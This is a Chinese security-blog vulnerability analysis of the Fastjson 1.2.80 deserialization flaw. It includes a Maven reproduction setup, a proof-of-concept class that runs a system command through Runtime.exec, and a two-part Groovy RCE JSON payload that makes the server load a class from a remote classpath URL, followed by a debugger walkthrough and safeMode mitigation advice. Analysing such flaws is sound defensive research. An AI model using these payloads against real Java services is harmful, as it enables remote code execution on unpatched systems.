freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Fastjson1.2.80反序列化漏洞分析与利用
2023-01-11 09:13:51
所属地 甘肃省

Hi,我是承影战队的111nk,Fastjson在commit中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。本文针对更新前的Fastjson1.2.80版本存在的反序列化漏洞进行漏洞复现并分析该漏洞利用的方式。

一、1.2.68修复

在复现fastjson1.2.80反序列化漏洞之前,先看一看fastjson针对1.2.68的修复,对过滤的expectClass进行了修改,与1.2.68相比,新增了3个新的类,并且将原来的Class类型的判断修改为hash的判断。

1673232090_63bb7eda6d01eadb27719.png!small?1673232091093

1673232103_63bb7ee773dc39fe976dd.png!small?1673232104312

通过查询黑名单https://github.com/LeadroyaL/fastjson-blacklist可以得知分别为:java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable

1.2.68的修复方式简单粗暴,而1.2.80漏洞就利用了另一个期望类:异常类Throwable。

二、漏洞原理

漏洞原理是基于Fastjson反序列化恢复类实例时,需要恢复用到了的类属性,而CheckAutoType中期望类机制会在在实例化类属性的对应类后将其加入到类缓存mappings中。如果这个属性是可利用的类且我们可控,可以直接利用或者进一步横向扩展出其它类间接利用。依靠属性名赋值时的隐式类间关系,不再需要在JSON中显式指定@type,从缓存中取类在修复前不会判断autoTypeSupport,从而绕过了autoType的白名单检查。

三、漏洞复现

这里我们使用maven构造fastjson1.2.80的环境进行漏洞复现。

Pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>fastjson</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>fastjson</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <java.version>1.8</java.version>

        <fastjson.version>1.2.80</fastjson.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>${fastjson.version}</version>
        </dependency>
    </dependencies>

</project>

Poc.java:

package com.example.fastjson.poc;

import java.io.IOException;

public class Poc extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Pocdemo.java:

package com.example.fastjson.poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class PocDemo {
    public static void main(String[] args) {
        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.poc.Poc\",\"name\":\"open /System/Applications/Calculator.app\"}";
        JSON.parse(json);
    }
}

1673232189_63bb7f3d56cc09d5cef4e.png!small?1673232189840

调试跟踪如下:

1673232196_63bb7f448f59efa0ba703.png!small?1673232197088

因为是异常类,所以在

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)拿到的是ThrowableDeserializer反序列化器。

1673232206_63bb7f4eced4e60c1490b.png!small?1673232207326

由于CheckAutoType中判断当期望类不为空且符合继承关系,则返回对应类,此时返回了恶意类。

1673232221_63bb7f5d8e83e0f89e2f8.png!small?1673232222235

漏洞触发时调用堆栈可知漏洞触发点为

com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze(DefaultJSONParser parser, Type type, Object fieldName)中。

1673232231_63bb7f672328a60e7c6a5.png!small?1673232231939

setValue调用setter导致执行恶意方法:

1673232245_63bb7f759e574edefcd18.png!small?1673232246248

四、漏洞利用与分析

在目前已经公开的研究成果中,给出了可以作为gadget的条件是:

1.类为Throwable的子类;

2.setter方法的参数类型、public field参数类型或者是构造方法的参数类型,实例化之后的类可利用。

根据披露出来的研究成果,继承于 java.lang.Exception 的类能够导致的漏洞:Jdbc connection RCE、Groovy RCE、Ognl读写文件、Aspectj读文件等。作者还给了一些payload和具体的链,这里的漏洞利用分析我们以 Groovy RCE为例,Exp分为两部分:

{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}

{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":"http://127.0.0.1:1000/"}}

1.首先指定显式期望类,实例化CompilationFailedException并被加入类缓存,并通过unit属性,将隐式类间关系实例化并被加入类缓存

2.后续进入构造的利用链,利用链如下:

org.codehaus.groovy.tools.javac.JavaStubCompilationUnit#init(CompilerConfiguration config,...)

org.codehaus.groovy.control.CompilationUnit#init

org.codehaus.groovy.control.CompilationUnit#addPhaseOperations

org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperations

org.codehaus.groovy.transform.ASTTransformationVisitor#addGlobalTransforms

org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms

详细调试利用过程如下:

首先构造恶意类。

1673232266_63bb7f8adbf7393e19a1d.png!small?1673232267430

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)中:

1673232345_63bb7fd94420ba1ac2dbc.png!small?1673232346011

expectClassFlag为true,所以会从classloader中加载

org.codehaus.groovy.control.CompilationFailedException拿到class,并且期望类不为空时会调用TypeUtils.addMapping(typeName, clazz)把目标类加入到类缓存中:

1673232364_63bb7fecb9db4de15f80e.png!small?1673232365425

因为是异常类,所以拿到的是ThrowableDeserializer反序列化器:

1673232375_63bb7ff72b73b0a3752b3.png!small?1673232375679

并用反序列化器拿到对应字段的字段反序列化实例FieldDeserializer。

如果value不是fieldClass类型的会进入进行类型转换,最后进入castToJavaBean,这里会调用getDeserializer(),此时参数是ProcessingUnit类clazz字段的类型:

1673232400_63bb80101e4cc6d3e7d4a.png!small?1673232400879

在getDeserializer函数中,调用自身putDeserializer函数:

1673232410_63bb801a191c628f6aee0.png!small?1673232410692

字段类型Unit在进入getDeserializer函数时会将

org.codehaus.groovy.control.ProcessingUnit put到ParserConfig的deserializers列表中。

在第二个exp打入时,对

"@type":"org.codehaus.groovy.control.ProcessingUnit"进行checkAutoType时就能拿到ProcessingUnit类而不会抛出异常了。

1673232419_63bb8023e9959ed0bc200.png!small?1673232420857

后续实例化JavaStubCompilationUnit后,会将可控参数classpathList传入org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms:

1673232428_63bb802cbd7508b060861.png!small?1673232429789

后续进入

org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperationsForGlobalTransforms实例化恶意类:

1673232438_63bb803630c01f14c3734.png!small?1673232438837

设置本地恶意类监听:

1673232444_63bb803ceeaf824783def.png!small?1673232445457

触发漏洞:

1673232451_63bb8043cd2d74f91f28a.png!small?1673232452449

五、总结

从本质上讲,Fastjson1.2.68反序列化漏洞与Fastjson1.2.80反序列化漏洞都是利用期望类对CheckAutoType防护机制进行绕过,但不管是Fastjson1.2.68还是Fastjson1.2.80的漏洞修复方式皆为添加黑名单;其实针对Fastjson反序列化漏洞,从Fastjson1.2.68版本之后有一个一劳永逸的方法-开启safeMode。safeMode,可直译为安全模式,当开启safeMode后,恶意payload在进入CheckAutoType后会在函数最开始部分进行判断后直接抛出异常,正是由于safeMode直接禁用autotype 机制,从而可以彻底解决反序列化造成的问题。

显然这种安全模式在防止反序列化造成问题的同时,也让开发者无法享受autotype机制带来的便利,而对于一些较为成熟应用系统,草率的开启safeMode,甚至有可能会导致业务上的问题,所以Fastjson这片攻防战场,仍然时刻弥漫着战火与硝烟。

六、参考链接

https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

承影战队

新华三承影战队,专注前沿攻击技术研究,研究方向包括web攻防、0day挖掘、红队工具开发等,长期招聘攻防研究员,简历投递:jiang.wenming@h3c.com (请注明来自FreeBuf)

# web安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录